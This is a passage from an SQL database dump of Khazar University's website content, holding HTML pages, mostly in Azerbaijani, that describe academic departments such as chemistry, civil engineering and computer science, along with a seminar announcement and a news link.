href=\"http://www.khazar.org/az/menus/133/riyaziyyat\">Riyaziyyat</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/135/musiqi_ve_incesenet\">Musiqi və İncəsənət</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/136/neft_muhendisliyi\">Neft Mühəndisliyi</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/137/felsefe_ve_sosiologiya\">Fəlsəfə və\r\nSosiologiya</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/138/siyasi_elm_ve_beynelxalq_munasibetler\">Siyasi\r\nElm və Beynəlxalq Münasibətlər</a></p>\r\n<p><a href=\"http://www.khazar.org/az/menus/139/psixologiya\">Psixologiya</a></p>'),(259,127,'az','Azərbaycan Dili və Ədəbiyyatı','Azərbaycan Dili və Ədəbiyyatı','<p>Xəzər Universitetinin Azərbaycan dili və Ədəbiyyat departamentinin əsas&nbsp;vəzifəsi&nbsp;Üniversitetin bütün fakültələrində Azərbaycan dilini,&nbsp;Azərbaycan və Dünya ədəbiyyatını tədris etmək, bu fənnlər üzrə bakalavr, magistr və doktorantlar hazırlamaqdır.</p><p>Universitetin “Mühəndislik və Tətbiqi Elmlər”, “Humanitar və Sosial Elmlər”,&nbsp;“İqtisadiyyat və Menecment” fakültələrində, Təhsil fakültəsinin “İbtidai təhsil müəllimliyi”, “Riyaziyyat və Informatika Müəllimliyi”, “Kimya və Biologiya müəllimliyi” ixtisaslarında Azərbycan dili və ədəbiyyatı məcburi və qeyri-ixtisas fənni olaraq öyrədilir. Adları çəkilən fakültə və ixtisaslarda departament daha çox Azərbaycan dili və Azərbaycan ədəbiyyatı fənnlərinin tədrisində ümumi məlumat, tanışlıq xarakterli məzmuna üstünlük verir.</p><p>Təhsil fakültəsinin “Azərbaycan dili və ədəbiyyatı müəllimliyi”&nbsp;ixtisası üzrə bakalavr dərəcəsində departamentin məqsədi yüksək səviyyəli, peşəkar müəllimlər hazırlamaq üçün Azərbaycan dili və ədəbiyyatını (o cümlədən Dünya ədəbiyyatını) tələbələrə bütün mərhələ və dövrləri, bölmə və sahələri ilə nəzəri və praktik şəkildə tədris etməkdir.</p><p>Təhsil fakültəsinin “Azərbaycan dili və ədəbiyyatı&nbsp;(filologiya)”&nbsp;ixtisası üzrə bakalavr dərəcəsində departamentin məqsədi tələbələrə müasir Azərbaycan dilinin qrammatik strukturunu, bölmələrini geniş şəkildə öyrətməklə yanaşı dilçilik, ədəbi dil tarixi haqqında məlumat vermək, Azərbaycan ədəbiyyatının (o cümlədən Dünya ədəbiyyatının)&nbsp;xronoloji qaydada öyrənilməsini həyata keçirmək,&nbsp;müxtəlif dövrlərdə yaşamış yazıçı və şairlərin həyat və yaradıcılığını öyrətmək, ilkin nəzəri məlumatlarla təmin etməkdir.</p><p>Təhsil fakültəsinin hər iki ixtisası üzrə magistr dərəcəsində təhsil alan tələbələrə dil və ədəbiyyatın ayrı-ayrı problemlərini dərindən öyrətmək, onların nəzəri hazırlığını artırmaq, təhlil və tətbiqetmə, mətn üzərində işləmək bacarığını aşılamaq departamentin əsas məqsədidir.</p><p>Departament doktorluq dərəcəsində təhsil alanların ümumi nəzəri hazırlığını yüksəltməklə bərabər, dil və ədəbiyyatın ayrı-ayrı problemləri üzrə onları tədqiqat işlərinə yönləndirməyi fəaliyyətinin əsas istiqaməti hesab edir.</p><p>Azərbaycan dili və ədəbiyyat departamenti dil və ədəbiyyatın&nbsp;müxtəlif istiqamətləri, problemləri üzrə tədqiqat işlərinin aparılması, tələbələr üçün tədris vəsaitlərinin hazırlanmasını, elmi seminar və müzakirələrin, simpozium və konfransların təşkilini, tələbələrin tədqiqat işlərinə cəlb edilməsini elmi fəaliyyətinin əsas istiqamətlərindən biri hesab edir.</p><p>Departament universitetin sosial həyatında yaxından iştirak etməyi, ədəbiyyat müzakirələri, şeir gecələri, qiraət yarışları təşkil etməyi, universitetin hazırladığı tədbirlərdə tələbələrin fəallığını təmin etməyi də fəaliyyət planın mühüm hissəsi hesab edir.</p>'),(260,128,'az','Biotibbi Mühəndislik','Biotibbi Mühəndislik','<p style=\"text-align:justify\">Biotibbi\r\ntexnologiyalar - bu müasir elm sahəsi\r\nolaraq biosiqnalların emalı və modelləşməsi üçün xüsusi elektron vasitələrin\r\nyaradılması məsələsini həll edir və tətbiqi tədqiqatları təmin edir. Biotibbi\r\ntexnologiyalar mühəndisliyi texnikanın və elmi biliklərin o sahəsinə aiddir ki,\r\nbu insan fəaliyyətinin sadalanan istiqamətləri üzrə üsul və metodlarını özündə\r\ncəmləşdirir: tibbi avadanlıq və aparat – proqram vasitələrinin tətbiqi ilə diaqnostik\r\ntədqiqatların və müalicə prosedurlarının təşkili və aparılması; bioloji\r\nlaboratoriyalarda texniki vasitələrə, sistem və komplekslərə və tibbi\r\navadanlıqlara xidmət göstərilməsi; diaqnostika və müalicə proseslərinin məlumat\r\ntəminatı üçün biotibbi informasiyanın emalı, tibbi verilənlər bazasının\r\nyaradılması və təminatı, müasir tətbiqi proqramlar paketindən istifadə edilməsi.\r\n&nbsp;</p>\r\n<p style=\"text-align:justify\">Biotibbi\r\ntexnologiyalar mühəndisliyi üzrə bakalavırın fəaliyyət obyekti biotibbi tədqiqatların\r\nmüxtəlif sahələrində mövcud olan cihazlar, sistemlər, komplekslər və əsas tibbi\r\ntexnologiyalar, həmçinin informasiya emalıdır. O elektrik, kimya, mexanika və\r\noptika mühəndisliyinin ayrı-ayrı sahələrini özündə sıx birləşdirir ki, bunlar canlı\r\nsubstansiyanın tədqiqində texniki vasitələrin və metodların işlənib\r\nhazırlanması kimi ümumi fəaliyyət obyektinə malikdir.&nbsp;</p>'),(261,129,'az','Bioloji Elmlər','Bioloji Elmlər','<p style=\"text-align:left\">Bioloji Elmlər departamenti ilk dəfə Tibb fakültəsinin tərkibində 1992-ci ildə yaradılmışdır. 2010-cu ildən Bioloji Elmlər departamenti qeyd edilən fakültədən ayrılaraq Təhsil fakültəsinin tərkibinə daxil edilmişdi. Həmin ildən bakalavr tələbələri üçün Biologiya müəllimliyi kimi yeni ixtisas tədris olunmağa başlanılmışdı.&nbsp;</p><p style=\"text-align:left\">Biologiya elmin çox maraqlı bir sahəsidir. Bizim departament yalnız yüksək keyfiyyətli tədris və mükəmməl təhsilin elmli və təhsilli ictimaiyyəti inkişaf etdirə və tənqidi düşünən vətəndaşlar yarada biləcəyini nəzərdə tutur. Bununla məzunlar gələcək nəsillərin əhəmiyyətli uğurlar qazanmasında elmin, xüsusilə biologiyanın vacib rolunu başa düşəcəklər.&nbsp;</p><p style=\"text-align:left\">Bizim məqsədlərimiz biologiya anlayışını təbliğ etmək və tələbələrə Bioloji Elmlər üzrə Bakalavr təhsili üçün (BS) proqramlar təqdim etməkdir.&nbsp;</p><p style=\"text-align:left\">Bu tədris proqramı həmçinin, kök hüceyrə biologiyası, ekologiya, radiobiologiya, biostatistika, immunologiya, tibbi biologiya, mərkəzi sinir sisteminin biologiyası və sairə bu kimi seçmə fənlərdən ibarət fundamental fənləri təqdim edir.&nbsp;</p><p style=\"text-align:left\">Departamentin əsas məqsədlərindən biri də bakalavr tələbələrinə Bioloji Elmlərin müasir tədris-pedaqoji metodikalar ilə mənimsənilməsində köməklik göstərməklə yanaşı onlarda tədqiqat potensialını da üzə çıxarmaqdır. Çünki müasir dünyada Bioloji Elmlər elmdə ən önəmli yer tutur.&nbsp;</p><p style=\"text-align:left\">Qeyd etmək lazımdır ki, departamentin yeni açılmış laboratoriyasında tələbələr ixtisas fənlərinə aid təcrübə dərslərini keçir və həmçinin sərbəst tədqiqat işlərini aparırlar.&nbsp;</p><p style=\"text-align:left\">Həmçinin, Bioloji Elmlər departamenti biokimya, genetika, molekulyar biologiya, və immunologiya ixtisasları üzrə doktorantura proqramları da təklif edir.</p>'),(4663,2768,'en','Seminars on Research Methodology and ESP','SEMINARS on Research Methodology (Data Collection & Data Analysis)...','<p style=\"text-align:center\"><strong>SEMINARS</strong>&nbsp;on</p><p style=\"text-align:center\"><strong><em style=\"color:#663333\">Research Methodology (Data Collection &amp; Data Analysis)</em></strong><strong><em></em></strong></p><p style=\"text-align:center\"><strong>and</strong></p><p style=\"text-align:center\"><strong><em style=\"color:#663333\">Modern Approaches of the Teaching of ESP (English for Specific Purposes)</em></strong></p><p style=\"text-align:center\"><strong>&nbsp;</strong><strong style=\"text-align:center\">to be led by Dr Kouhi</strong></p><p style=\"text-align:center\"><strong>on Thursday January 25, 2018</strong></p><p><strong>&nbsp;</strong></p><p><strong><em><span style=\"text-decoration:underline\">Certificates of Participation</span></em></strong>&nbsp;will be issued for the registered applicants of the two seminars.</p><p><strong><em>MA and PhD students are strongly encouraged to participate.</em></strong></p><p>For registration and further information please contact Ms&nbsp;Nurana Farhadova at&nbsp;<a href=\"mailto:nfarhadova@khazar.org\" target=\"_blank\" rel=\"noopener noreferrer\">nfarhadova@khazar.org</a>, (012) 421 10 93 (ext. 230)</p><p><br></p>'),(262,130,'az','Kimya','Kimya','<div><br></div><p>2010-cu ildən etibarən Kimya departamenti Kimya və Biologiya müəllimliyi ixtisası üzrə bakalavr proqramını təklif etməyə başlamışdır.&nbsp;</p><p>Hal-hazırda Kimya departamentində aşağıdakı kimya fənləri tədris olunur:&nbsp;</p><p><strong>-&nbsp;&nbsp; Mühəndislik və Tətbiqi Elmlər Fakültəsində&nbsp;</strong></p><p>⁭ Kimya -1&nbsp;</p><p>Kimya-2  <br></p><div><br></div><div><br></div><p><strong>-&nbsp;&nbsp; Təhsil Fakültəsində&nbsp;</strong></p><p>Ümumi və Qeyri-üzvi kimya&nbsp;</p><p>⁭ Üzvi kimya&nbsp;</p><p>⁭ Fiziki kimya&nbsp;</p><p>Analitik kimya&nbsp;</p><p>Neft kimyası&nbsp;</p><p>Biokimya&nbsp;</p><p>Kolloid kimyası&nbsp;</p><p>Ekoloji kimya</p><p>Kimya fənləri həmçinin universitetin digər fakültələrinin tələbələrinə elektiv (seçmə) kurs kimi təklif olunur.&nbsp;</p><p>Departamentin nəzdində eksperimental və tədqiqat işləri üçün laboratoriya vardır.  <br></p><div><br></div><div><div><br></div></div>'),(1904,1171,'az','Təsisçinin fikirləri məqalənin yazılmasına səbəb oldu','“Ədalət” qəzetinin rəsmi internet səhifəsində “Qəbul imtahanında baş vermiş paradoksal hadisə” adlı yazı yayınlanmışdır.','<p>“Ədalət” qəzetinin\r\nrəsmi internet səhifəsində “Qəbul imtahanında baş vermiş paradoksal hadisə”\r\nadlı yazı yayınlanmışdır. Yazıda müəllif Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının fikirlərindən\r\nsitatlar gətirmişdir.</p>\r\n<p>Yazını tam şəkildə\r\nbu link vasitəsilə oxumaq olar:</p>\r\n<p><a href=\"http://www.adalet.az/w99703/Q%C9%99bul_imtahan%C4%B1nda_ba%C5%9F_vermi%C5%9F_paradoksal_hadis%C9%99/\">http://www.adalet.az/w99703/Qəbul_imtahanında_baş_vermiş_paradoksal_hadisə/</a>.</p>'),(263,131,'az','İnşaat Mühəndisliyi','İnşaat Mühəndisliyi','<strong></strong><strong></strong><strong><img src=\"/files/engineering/images/Rasim.png\" style=\"width:153px;height:198px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rasim_Bayramli.pdf\">Rasim Bayramlı</a> - Dosent</strong></p></strong><p><strong></strong><strong>İnşaat Mühəndisliyi Departamenyinin rəhbəri</strong><br></p>\r\n<p>İnşaat mühəndisliyi üzrə fəl. e. d. (Moscow Asbestos and Cement Scientific Research Institute, Russia  )</p><p><br></p><p><br></p><p><br></p><p style=\"text-align:justify\">İnşaat mühəndisliyi depatamenti inşaat mühəndisliyi sahəsində hərtərəfli və əhatəli ali təhsil verir. Departament əsasən şəhərlər, binalar və sənaye məhsullarından ibarət olan təbii və süni sistemlərin öyrənilməsi ilə məşğul olur.</p><p style=\"text-align:justify\">İnşaat mühəndisləri binaların, avtomobil yollarının, çirklənmə və çirkləndiricilərə nəzarət sistemlərinin, su resursları sistemlərinin, və s. dizayn və tikintisinə məsuldurlar. Bununla yanaşı onlar bu təsisatların planlanması, idarə edilməsi, istismarı və texniki xidmətinə görə də cavabdehdirlər. Əhalinin ümumi artımı və iqtisadiyyatın böyüməsi ilə əlaqədar olaraq, böyük binaların və tikinti komplekslərinin, iri həcmli nəqliyyat, su təchizatı və çirklənməyə nəzarət sistemlərinin layihələndirilməsi və tikintisi üçün daha çox inşaat mühəndislərinə eytiyac olacaq.<br></p><p style=\"text-align:justify\">İnşaat mühəndisiliyi ilə bağlı problemlər mühazirə, praktikum və istehsalat təcrübələrində toxunulur. Burada əsas hədəf bilik, metodologiya, nəzəriyyə və bacarıqların birləşdirilməsidir.<br></p><p style=\"text-align:justify\">Departament inşaat mühəndisliyində bakalavr və magistratura pillələri üzrə ali təhsil təklif edir.<br></p><img src=\"http://www.khazar.org/files/image/14_04_29_Design.gif\" style=\"width:230px;height:230px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><img src=\"http://www.khazar.org/files/image/14_04_29_Heydar-Aliev.jpg\" style=\"margin:7px;width:230px;height:230px;float:left\"><img src=\"http://www.khazar.org/files/image/14_04_29_UC-300x300.jpg\" style=\"width:230px;height:230px;margin:7px;float:left\"><br>  <br><h2></h2>'),(264,132,'az','Kimya mühəndisliyi və Tətbiqi Kimya','Kimya mühəndisliyi və Tətbiqi Kimya','<span style=\"font-size:13.5pt\" lang=\"AZ-LATIN\"></span><span style=\"font-size:13.5pt;font-family:Arial, sans-serif;color:#252525\"></span><p><strong><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Rasoul_Moradi.jpg\" style=\"width:250px;height:210px;margin:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV%20Rasoul%20Moradi.pdf\">Rasoul Moradi</a> - Kimya Mühəndisliyi və Tətbiqi&nbsp;Kimya&nbsp;Departamentinin\r\nkoordinatoru</strong></p><p>Kimya mühəndisliyi üzrə fəl. d. (University of Tehran, Iran) <br></p><p>Kimya mühəndisliyi üzrə  magistr (Sharif University of Technology, Iran)  <br></p><p><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Kimya mühəndisliyi xammalı sadəcə qida, su və geyim kimi\r\nfaydalı məhsullara deyil, həmçinin neft, əczaçılıq, kosmetika, biotexnologiya,\r\nelektron materiallar, nüvə sənayesi materialları, polimerlər, kompozitlər və\r\nörtüklərə çevrilməsində həlledici rol oynayan bir sahədir. Bundan əlavə kimya\r\nmühəndisləri mütəmadi olaraq nanotexnologiya, biotexnologiya və ətraf mühitin\r\nqorunması kimi müasir problemlərlə qarşılaşırlar.</p><p style=\"text-align:justify\">Xəzər Universitetinin Kimya Mühəndisliyi Departamenti sənaye\r\nvə elmi tədqiqat, kəşf və təkmilləşdirmə, zavodların layihələndirilməsi və\r\nistismarı həmçinin idarə edilməsi üzrə kadrların hazırlanması üçün kimya mühəndisliyində\r\nbakalavr, magistr və doktorantura pillələri üzrə ali təhsil təklif edir. \r\n</p><p style=\"text-align:justify\">Bizim departament tələbələri təşviqedici tədris\r\nvə tədqiqat mühiti ilə təmin edərək, çoxtərəfli baxış və tədris/təlim\r\nüslublarına məruz qoyaraq, onları gündəlik və çoxistiqamətli problemləri həll\r\netmək üçün komandada işləməyə hazırlayaraq potensiallarının tam inkişaf\r\netdirilməsi üçün çalışır.&nbsp;</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/engineering/images/industries.jpg\" style=\"width:730px;height:429px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">Kimya -\r\nmaddənin tərkibini, quruluşunu, xassələrini və çevrilməsini tədqiq edən təbiət\r\nelmidir. Kimya çox geniş bir elm sahəsi olduğundan, onun təsirini cəmiyyətimizin\r\nvə gündəlik həyatımızın bütün sahələrində görmək mümkündür. Kimya ekoliji\r\nproseslərdə, farmakalogiyanin inkişafinda, qida sənayesində, digər təbiət elmlərində,\r\nmüasir aqrotexnikada, həmçinin nanotexnalogiya və nanotibb sahələrində mühim\r\nyer tutur. Xəzər Universitetinin Kimya departamenti,\r\nKimya Mühəndisliyi və Təhsil departamentlərinin tələbələri üçün kimya üzrə müxtəlif\r\ndərslər təşkil edir. Departamentimizin əsas məqsədi gələcəyə kreativ ve yüksək savadlı\r\nmüəllim kadrları, akademiklər eləcə də ölkəmizin durmadan inkişaf edən sənaye\r\nsahələri üçün kimya mühəndisləri yetişdirməkdir.</p><p style=\"text-align:justify\"><br></p><p><img src=\"/files/engineering/images/ph_ch.JPG\" style=\"width:730px;height:421px;margin:7px 7px 7px 0px;vertical-align:baseline\"></p>'),(265,133,'az','Kompüter elmləri və Kompüter mühəndisliyi','Kompüter elmləri və Kompüter mühəndisliyi','<p style=\"text-align:justify\">Kompüter\r\nElmləri və Kompüter Mühəndisliyi  departamenti Kompüter Elmləri və Kompüter Mühəndisliyi sahəsində elastik\r\nvə innovativ bakalavr, magistratura və fəlsəfə&nbsp;doktorluğu&nbsp;pillələri üzrə proqram təklif edir.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/a.JPG\" style=\"border:0px  #000000;width:600px;height:397px;vertical-align:baseline\"><br></p><h3><strong>Kompüter Elmləri nə haqdadır?</strong>&nbsp;</h3><p style=\"text-align:justify\"> Kompüter Elmləri kompüter və hesablama sistemlərini öyrənən\r\nbir sahədir. Elektrik və kompüter mühəndislərindən fərqli olaraq, kompüter üzrə\r\nelmi işçilər əsasən proqram və proqram sistemləri ilə məşğul olur. Buraya nəzəriyyə,\r\ndizayn, təkmilləşdirmə və tətbiqetmə daxildir.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/b.png\" style=\"border:0px  #000000;width:600px;height:244px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\">Kompüter Elmlərində əsas tədqiqat sahələrinə kompüter\r\nsistemləri və şəbəkələri, təhlükəsislik, kriptoqrafiya, süni intellekt, verilənlər\r\nbazası sistemləri, insan-kompüter qarşılıqlı əlaqəsi,\r\ngörmə və qrafika, ədədi üsullar, proqramlaşdırma dilləri, proqram mühəndisliyi,\r\nbioinformatika və formal dillər və avtomatika nəzriyyəsi daxildir.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/c.jpg\" style=\"border:0px  #000000;width:550px;height:250px;vertical-align:baseline\"><br></p><p style=\"text-align:justify\">Proqramlaşdırmanı bilmə kompüter elmlərinin öyrənilməsində\r\nvacib olsa da, bu sadəcə bu sahənin bir ünsürüdür.&nbsp;Kompüter üzrə elmi işçilər proqramları həll\r\netmək və kompüterin avadanlıq və proqram təminatının effectivliyini öyrənmək üçün\r\nalgoritmlər işləyir və təhlil edirlər.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/d.jpg\" style=\"width:600px;height:337px\"><br></p><h3><strong>Rəqəmsal əsrin kompüter üzrə elmi işçilərə ehtiyacı var</strong></h3><p style=\"text-align:justify\">Xoşunuza gəlsə də gəlməsə də siz Rəqəmsal Əsrdə\r\nyaşayırsınız. Kompüter programları həyatımızın hər sahəsinə nüfuz edir.\r\nKompüter üzrə elmi işçilər hər gün\r\nistifadə etdiyimiz proqramalar üçün nəzəriyyə yaradır, layihələndirir, təkmilləşdirir,\r\nproqram təminatı və avadanlıqlar tətbiq edir.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/e.jpg\"><br></p><h3><strong>Kompüter elmlərindən məzun olan tələbələrin əla iş perspektivləri\r\nvardır</strong></h3><p style=\"text-align:justify\">Statistikaya görə kompüter elmləri üzrə təhsil alan tələbələrin\r\nuniversiteti bitirdikdən sonrakı altı ay ərzində professional şəkildə işə qəbul\r\nolma imkanı kifayət qədər yaxşıdır.</p><p style=\"text-align:justify\"> <img src=\"/files/engineering/NewFolder/f.jpg\"><br></p><h3><strong>Çoxmillətli kollektiv</strong></h3><p style=\"text-align:justify\">Kompüter elmləri departamentləri adətən çoxmillətli\r\nkollektivə malik olmalarından yararlanırlar. Çoxmillətli kollektiv, sizin müxtəlif mədəniyyətlərlə tanış\r\nolmanız və potensial olaraq gələcəkdə istifadə etmək üçün beynəlxalq əlaqələr şəbəkəsi\r\nilə universitetdən məzun olmanız deməkdir.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/g.jpg\"><br></p><h3><strong>Kompüter üzrə elmi işçilərə sənayenin hər bir sahəsində\r\nehtiyac vardır</strong></h3><p style=\"text-align:justify\">Sənayenin hər bir sahəsində kompüterlərdən istifadə edilir.\r\nTəbii olaraq kompüter üzrə elmi işçilər də hər hansı bir sahədə işləyə bilərlər.&nbsp;Elmdə, mühəndislikdə, səhiyyədə və bir çox\r\nbaşqa sahələrdə olan problemlər kompüterlər vasitəsi ilə həll edilə bilərlər. Həllin\r\nnecə olduğunu tapmaq və tətbiq etmək üçün proqram təminatını işləmək kompüter\r\nüzrə elmi işçidən asılıdır.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/h.jpg\" style=\"width:350px;height:233px;vertical-align:baseline\"><br></p><h3><strong>Kompüter elmləri üzrə dərəcə mənə hansı karyera\r\nimkanları verir?</strong></h3><p style=\"text-align:justify\">Bir çox insan səhvən kompüter elmləri üzrə karyeranın tamami\r\nilə proqramlaşdırma ilə əlaqədar olduğuna inanır. Halbuki, bakalavr pilləsindən\r\nsonra ilk işlərin çoxu proqlamlaşdırma ilə əlaqədar olsa da, praktikantların çoxu sonda layihələndirmə,\r\nkordinasiya, sınaq, planlamalaşdırma və idarəetmə kimi digər vəzifələrə keçirlər. Beləliklə, siz\r\nadətən bakalavr dərəcəsini əldə etdikdən sonra proqram mühəndisi kimi işləməyə\r\nbaşlayırsız, daha sonra (təqribən 5 il iş təcrübəsindən sonra) daha yüksək vəzifələrə\r\nkeçirsiniz. Qabaqcıl kurs və magistr dərəcəsi ilə qabaqcıl kursunuzu istifadə\r\nedəcəyiniz ixtisaslaşma sahəsində işləyə bilərsiz. Məsələn, Disney kimi bir\r\nanimasiya geyimlərində işləmək üçün kompüter qrafikası üzrə ən azı 2-3 kurs tələb\r\nolunur. Nəhayət, doktorluq dərəcəsi olanlar elmi tədqiqat labaratoriyaları,\r\nböyük korparasiyaların tədqiqat müəssisələri yaxud universitet kimi elmi-tədqiqat\r\nmühitlərində işləyə bilərlər.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/i.jpg\"><br></p><h3><strong>Kompüter\r\nelmləri sahəsində insanlarla işləmə bacarıqları tələb edən işlər varmı, yoxsa bütün\r\ngün ekrana zillənəcəm?</strong></h3><p style=\"text-align:justify\">Kompüter elmləri sahəsində bir çox iş insanlarla işləmə və təsiretmə\r\nbacarıqları tələb edir. Başlanğıc səviyyəli proqram mühəndisi vəzifəsindən\r\nbaşqa demək olar ki hər bir korporativ vəzifə insanlarla işləməyi tələb edir.\r\nProqramın yaradılması çox zaman komanda işidir və proqram təminatı şirkətləri hər\r\nhansı başqa növ şirkət kimidir. Beləliklə, əgər sizin karyera yolunuz belədirsə,\r\nsiz kabinənizdə tək oturub ekrana zillənməyəcəksiz.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/j.jpg\" style=\"width:600px;height:450px;vertical-align:baseline\"></p><h3><strong>Kompüter Elmləri elmin digər sahələri ilə birləşdirilə bilərmi?</strong></h3><ul><li>Biologiya ilə ikili ixtisas bioinformatikada karyeraya yol\r\naça bilər.</li><li>İqtisadiyyat ilə ilə ikili ixtisas kompüter simulyası vasitəsi\r\nilə iqtisadi problemləri həll etməyə kömək edə bilər.&nbsp;</li><li>Siyasi elmlər yaxud cinayət prosessual hüquq ilə ikili\r\nixtisas təhlükəsislik və informasiya siyasətində karyeraya yol aça bilər.</li><li>Təsviri incəsənət ilə ikili ixtisas animasiya sahəsində karyeraya\r\naşkar şəkil təsir edir.&nbsp;</li><li>Biznes ilə ikilli ixtisas İT-nin (İnformasiya\r\nTexnologiyaları) bəzi sahələrində karyeraya yol aça bilər.</li></ul><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/k.jpg\"><br></p><h3><strong>Kompüter Elmlərində uğur əldə etmək üçün nə etmək lazımdır?</strong></h3><p style=\"text-align:justify\"> Kompüter elmləri məsələ həletmənin unikal növü haqdadır:\r\nhesablamadan istifadə edərək məsələlərin yaradıcı həlli. Əgər siz yaradıcı\r\ninsansınızsa, tapmacanı, digər sahələrdə (mühəndislik, riyaziyyat, təbiət elmləri)\r\nməsələ həletməni sevirsinizsə, mücərrəd düşünmə qabiliyyətinizdən razısınızsa,\r\nbirdən çox elm sahəsinin kəsişməsində işləmək istəyirsinizsə kompüter elmləri\r\nsizin üçündür.</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/l.jpg\" style=\"border:0px  #000000;width:600px;height:305px;vertical-align:baseline\"></p><h3><strong>Kompüter Elmlərinin hansı sahələri var?</strong></h3><p style=\"text-align:justify\"> <strong>Kompüter şəbəkələri.</strong> Kompüter şəbəkəsi resurslardan\r\nqarşılıqlı şəkildə istifadə etməyə imkan verən iki yaxud daha çox kompüterlərin\r\nbirləşdirilməsidir. Bu evdə, işdə, korporasiya daxilində və hətta beynəlxalq səviyyədə\r\nkompüterlər arasında edilə bilər. İnternet, kompüter şəbəkələrinə aid ən böyük\r\nnümunədir. Çünki, internet, məlumatları bölüşən minlərlə kompüter şəbəkələrini\r\nözündə ehtiva edir.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/m.jpg\" style=\"width:600px;height:196px\"></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Kriptoqrafiya və şəbəkə təhlükəsizliyi.&nbsp;</strong>Kriptoqrafiya yaxud\r\nkriptologiya düşmən olaraq adlandırılan üçüncü şəxslərin mövcudluğunda təhlükəsiz\r\nrabitə metodlarının tətbiqi və öyrənilməsidir. Daha ümumi olaraq, kriptoqrafiya\r\nüçüncü tərəflərin yaxud ictimaiyyətin şəxsi yazışamaları oxumasının qarşısını alan\r\nprotokolların yaradılması və təhlili haqdadır; məxfilik, informasiyanın\r\ntamlığı, autentifikasiya və inkar-etməmə kimi informasiya təhlükəsizliyinin\r\nmüxtəlif aspektləri müasir kriptoqrafiyanın mərkəzində yer alır. Şəbəkə təhlükəsizliyi\r\nkompüter şəbəkəsi və şəbəkəyə-açıq mənbələrə icazəsiz giriş, sui-istifadə etmə,\r\nmodifikasiya yaxud imtina etmənin qarşısının alınması və nəzarət etmək üçün qəbul\r\nedilmiş qaydalar və təcrübələrdən ibarətdir. Şəbəkə təhlükəsizliyinə, şəbəkə admini\r\ntərəfindən idarə edilən şəbəkədəki məlumatlara girişə icazə aiddir.</p><p style=\"text-align:justify\"><img src=\"http://www.khazar.org/files/engineering/NewFolder/n.jpg\" style=\"border:0px #000000;width:600px;height:337px;float:left;vertical-align:baseline\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Süni intellekt.&nbsp;</strong>Süni intellekt (Sİ) maşınlar tərfindən\r\nnümayiş etdirilən intellektir. Kompüter elmlərində, ideal “intellenktli” maşın,\r\nolduğu ətraf mühiti qavrayan və hərhansı hədəfdə müvəffəqiyyət əldə etmə imkanını\r\nmaksimizə edən qərarlar qəbul edən çevik rasional icraedici qurğudur.&nbsp;Başqa sözlə desək, “süni intellekt” termini bir maşının, insan zəkası ilə əlaqələndirilən “öyrənmə” və\r\n“problem həletmə” kimi “koqnitiv” funksiyaları təqlid etdiyi zaman tətbiq\r\nolunur.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/engineering/NewFolder/o.jpg\" style=\"border:0px  #000000;width:259px;height:194px;vertical-align:baseline\"></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>Verilənlər bazası sistemləri.</strong> Verilənlər bazası məlumatların\r\nmütəşəkkil toplusudur. Bu, sxemlərin, cədvəllərin, sorğuların, hesabatların,\r\nfikirlərin və başqa obyektlərin\r\ntoplusudur. Adətən məlumatlar reallığın aspektlərini modelləşdirmək üçün təşkil\r\nolunur, beləliklə müəyyən dərəcədə\r\ninformasiya tələb edən prosesləri dəstəkləyir. Verilənlər bazası idarəetmə\r\nsistemi (VBİS) bir kompüter proqramı olub verilənlərin toplanması və təhlili\r\nüçün istifadəçi, digər proqramlar və verilənlər bazasının özü ilə qarşılıqlı əlaqədə\r\nolur.&nbsp;Ümumi təyinatlı VBİS, verilənlər\r\nbazasının təyini, yaradılması, sorğusu, yenilənməsi və idarə edilməsi 